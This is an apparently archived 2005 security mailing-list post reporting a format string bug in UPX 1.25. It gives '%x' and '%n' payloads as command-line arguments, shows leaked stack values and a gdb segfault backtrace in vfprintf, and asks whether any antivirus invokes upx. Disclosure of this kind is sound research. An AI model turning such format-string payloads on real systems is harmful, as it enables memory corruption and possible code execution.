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Speaking of UPX...
From: "KF (Lists)" <kf_lists () digitalmunition com>
Date: Fri, 11 Feb 2005 18:37:25 -0500

I really have not been able to find a use for this but since upx is on the brain...

Maybe someone knows some antivirus that uses the actual /usr/bin/upx or upx.exe on win32.

If ya come up with something let me know.

kfinisterre () jdam:~$ upx AAAA%x.%x.%x.%x.%x.%x.%x
                     Ultimate Packer for eXecutables
   Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004
UPX 1.25 Markus F.X.J. Oberhumer & Laszlo Molnar Jun 29th 2004

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: AAAA806c80e.bffffa08.0.0.0.1000000.41414141: FileNotFoundException: AAAA806c80e.bffffa08.0.0.0.1000000.41414141

(gdb) r AAAA%x.%x.%x.%x.%x.%x.%n
Starting program: /usr/bin/upx AAAA%x.%x.%x.%x.%x.%x.%n
(no debugging symbols found)

                     Ultimate Packer for eXecutables
   Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004
UPX 1.25 Markus F.X.J. Oberhumer & Laszlo Molnar Jun 29th 2004

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx:
Program received signal SIGSEGV, Segmentation fault.
0x4016f5c3 in vfprintf () from /lib/libc.so.6
(gdb) bt
#0  0x4016f5c3 in vfprintf () from /lib/libc.so.6
#1  0x40170ebe in vfprintf () from /lib/libc.so.6
#2  0x4016ce40 in vfprintf () from /lib/libc.so.6
#3  0x4017588f in fprintf () from /lib/libc.so.6
#4  0x0804e96d in ?? ()
#5  0x0804eaf2 in ?? ()
#6  0x0804f5bb in ?? ()
#7  0x080691cb in putchar ()
#8  0x4013bdc6 in __libc_start_main () from /lib/libc.so.6
#9  0x08049901 in ?? ()

-KF
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